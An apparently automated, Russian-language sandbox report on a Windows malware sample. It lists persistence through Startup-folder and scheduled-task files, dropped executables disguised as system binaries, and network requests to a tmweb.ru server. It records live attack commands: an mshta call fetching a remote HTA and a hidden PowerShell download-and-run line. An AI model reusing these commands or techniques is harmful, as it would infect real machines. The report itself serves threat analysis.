Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\windows.exe
- %APPDATA%\microsoft\windows\start menu\programs\startup\system.lnk
- <SYSTEM32>\tasks\e34907c4fd2c9f641cf0e32874acac87
- <SYSTEM32>\tasks\4sm5rj3o
- <SYSTEM32>\tasks\m0lps0ah
- <SYSTEM32>\tasks\jt5amfod
- <SYSTEM32>\tasks\pz4wbwhm
- <SYSTEM32>\tasks\l232wsnh
- <SYSTEM32>\tasks\vkjtlx2j
- <SYSTEM32>\tasks\u5mjc4k1
- <SYSTEM32>\tasks\fvvahcjo
- <SYSTEM32>\tasks\laguokuf
- <SYSTEM32>\tasks\3eyutplj
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\cmd.exe' /c mshta http://cn####8.tmweb.ru/blue28.hta
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe
- %TEMP%\res316e.tmp
- C:\users\public\documents\my music\conhost.exe
- %TEMP%\l4kfwq5b.0.cs
- %TEMP%\l4kfwq5b.cmdline
- %TEMP%\l4kfwq5b.out
- C:\users\public\videos\sample videos\csc38df.tmp
- %TEMP%\res38e0.tmp
- C:\users\public\videos\sample videos\svchost.exe
- %TEMP%\eb3rstct.0.cs
- %TEMP%\eb3rstct.cmdline
- %TEMP%\eb3rstct.out
- %ProgramFiles(x86)%\windows mail\en-us\csc438e.tmp
- %TEMP%\res438f.tmp
- %ProgramFiles(x86)%\windows mail\en-us\cmd.exe
- %TEMP%\atpttdgs.cmdline
- %TEMP%\res5b0e.tmp
- %TEMP%\atpttdgs.out
- C:\perflogs\admin\csc4a06.tmp
- %TEMP%\res4a17.tmp
- C:\perflogs\admin\mdm.exe
- %TEMP%\zb32ba3k.0.cs
- %TEMP%\zb32ba3k.cmdline
- %TEMP%\zb32ba3k.out
- %TEMP%\p502lxwu.0.cs
- %TEMP%\p502lxwu.cmdline
- %TEMP%\p502lxwu.out
- %TEMP%\juyemz04.0.cs
- %TEMP%\juyemz04.cmdline
- %TEMP%\juyemz04.out
- C:\totalcmd\language\csc5b0d.tmp
- C:\users\public\documents\my music\csc315e.tmp
- %TEMP%\atpttdgs.0.cs
- %TEMP%\srjvtwan.out
- %PROGRAMDATA%\oracle\java\javapath\zq4uiig0\vmcheck32.dll
- %APPDATA%\windows\mlpi9mkdzgqevbpwj4jccu3ozakcm7.vbs
- %APPDATA%\windows\ykf3fucrtmjajnj2vpfjjhslntgkon.bat
- %APPDATA%\windows\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\dclib\antivm.dclib
- %APPDATA%\windows\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %APPDATA%\windows\c83sauttyw95kev4p9ukfca1xct1oy.bat
- %APPDATA%\windows\vmcheck32.dll
- %APPDATA%\windows\win.exe
- %APPDATA%\windows\system.vbe
- %APPDATA%\windows\system.lnk
- %TEMP%\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %TEMP%\dclib\antivm.dclib
- %TEMP%\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %PROGRAMDATA%\oracle\java\javapath\zq4uiig0\win.exe
- %TEMP%\s54iqyka.0.cs
- %TEMP%\srjvtwan.0.cs
- %TEMP%\s54iqyka.cmdline
- %TEMP%\s54iqyka.out
- %TEMP%\k52h3u4g.0.cs
- %TEMP%\k52h3u4g.cmdline
- %TEMP%\k52h3u4g.out
- <Текущая директория>\csc1ec0.tmp
- %TEMP%\res1ed1.tmp
- <Текущая директория>\svchost.exe
- %TEMP%\iw4cj45j.0.cs
- %TEMP%\iw4cj45j.cmdline
- %TEMP%\iw4cj45j.out
- %PROGRAMDATA%\microsoft toolkit\csc27d8.tmp
- %TEMP%\res27d9.tmp
- %PROGRAMDATA%\microsoft toolkit\system.exe
- %TEMP%\srjvtwan.cmdline
- C:\totalcmd\language\conhost.exe
Удаляет следующие файлы
- %TEMP%\s54iqyka.cmdline
- %TEMP%\eb3rstct.out
- %TEMP%\eb3rstct.0.cs
- %TEMP%\eb3rstct.cmdline
- %TEMP%\res4a17.tmp
- C:\perflogs\admin\csc4a06.tmp
- %TEMP%\atpttdgs.0.cs
- %TEMP%\atpttdgs.cmdline
- %TEMP%\res438f.tmp
- %ProgramFiles(x86)%\windows mail\en-us\csc438e.tmp
- %TEMP%\atpttdgs.out
- %TEMP%\zb32ba3k.cmdline
- %TEMP%\p502lxwu.0.cs
- %TEMP%\p502lxwu.out
- %TEMP%\p502lxwu.cmdline
- %TEMP%\res5b0e.tmp
- C:\totalcmd\language\csc5b0d.tmp
- %TEMP%\juyemz04.cmdline
- %TEMP%\zb32ba3k.0.cs
- %TEMP%\zb32ba3k.out
- %TEMP%\l4kfwq5b.0.cs
- %TEMP%\l4kfwq5b.cmdline
- %TEMP%\l4kfwq5b.out
- %TEMP%\s54iqyka.0.cs
- %TEMP%\res1ed1.tmp
- <Текущая директория>\csc1ec0.tmp
- %TEMP%\k52h3u4g.cmdline
- %TEMP%\k52h3u4g.out
- %TEMP%\k52h3u4g.0.cs
- %TEMP%\res27d9.tmp
- %PROGRAMDATA%\microsoft toolkit\csc27d8.tmp
- %TEMP%\s54iqyka.out
- %TEMP%\iw4cj45j.0.cs
- %TEMP%\iw4cj45j.out
- %TEMP%\res316e.tmp
- C:\users\public\documents\my music\csc315e.tmp
- %TEMP%\srjvtwan.out
- %TEMP%\srjvtwan.0.cs
- %TEMP%\srjvtwan.cmdline
- %TEMP%\res38e0.tmp
- C:\users\public\videos\sample videos\csc38df.tmp
- %TEMP%\iw4cj45j.cmdline
- %TEMP%\juyemz04.0.cs
- %TEMP%\juyemz04.out
Сетевая активность
TCP
Запросы HTTP GET
- http://cn####8.tmweb.ru/blue28.hta
- http://cn####8.tmweb.ru/windows.exe
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?03...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?54...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/zgo6qt/6e43f762cba4b86bc0c491b86ddeed9e.php?1e#...
- http://ip##fo.io/ip
UDP
- DNS ASK cn####8.tmweb.ru
- DNS ASK ip##fo.io
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- 'C:\totalcmd\language\conhost.exe'
- 'C:\users\public\documents\my music\conhost.exe'
- '%PROGRAMDATA%\microsoft toolkit\system.exe'
- '%ProgramFiles(x86)%\windows mail\en-us\cmd.exe'
- '<Текущая директория>\svchost.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\MLPi9MKdzgQeVBPWJ4jCCU3oZaKCM7.vbs"
- 'C:\users\public\videos\sample videos\svchost.exe'
- 'C:\perflogs\admin\mdm.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\System.vbe"
- '%APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe' -pfe269a32d6ea191305070eac6a20af987ddbebea
- '%APPDATA%\microsoft\windows\start menu\programs\startup\windows.exe'
- '%APPDATA%\windows\win.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES38E0.tmp" "c:\Users\Public\Videos\Sample Videos\CSC38DF.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A17.tmp" "c:\PerfLogs\Admin\CSC4A06.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\atpttdgs.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p502lxwu.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES438F.tmp" "%ProgramFiles(x86)%\Windows Mail\en-US\CSC438E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l4kfwq5b.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\juyemz04.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zb32ba3k.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\srjvtwan.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\s54iqyka.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5B0E.tmp" "c:\totalcmd\LANGUAGE\CSC5B0D.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\iw4cj45j.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1ED1.tmp" "<Текущая директория>\CSC1EC0.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\k52h3u4g.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES316E.tmp" "c:\Users\Public\Documents\My Music\CSC315E.tmp"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -command try{$down = New-Object System.Net.WebClient;$url = 'HTTP:/'+'/'+'cn23428.tmweb.ru/windows.exe';$file = $env:appdata + '\Microsoft\Windows\St...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES27D9.tmp" "%PROGRAMDATA%\Microsoft Toolkit\CSC27D8.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\eb3rstct.cmdline"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c mshta http://cn####8.tmweb.ru/blue28.hta' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p502lxwu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zb32ba3k.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A17.tmp" "c:\PerfLogs\Admin\CSC4A06.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\atpttdgs.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES438F.tmp" "%ProgramFiles(x86)%\Windows Mail\en-US\CSC438E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\eb3rstct.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES38E0.tmp" "c:\Users\Public\Videos\Sample Videos\CSC38DF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l4kfwq5b.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\juyemz04.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES316E.tmp" "c:\Users\Public\Documents\My Music\CSC315E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES27D9.tmp" "%PROGRAMDATA%\Microsoft Toolkit\CSC27D8.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\iw4cj45j.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1ED1.tmp" "<Текущая директория>\CSC1EC0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\k52h3u4g.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\s54iqyka.cmdline"
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "
- '%WINDIR%\syswow64\mshta.exe' http://cn####8.tmweb.ru/blue28.hta
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\srjvtwan.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5B0E.tmp" "c:\totalcmd\LANGUAGE\CSC5B0D.tmp"
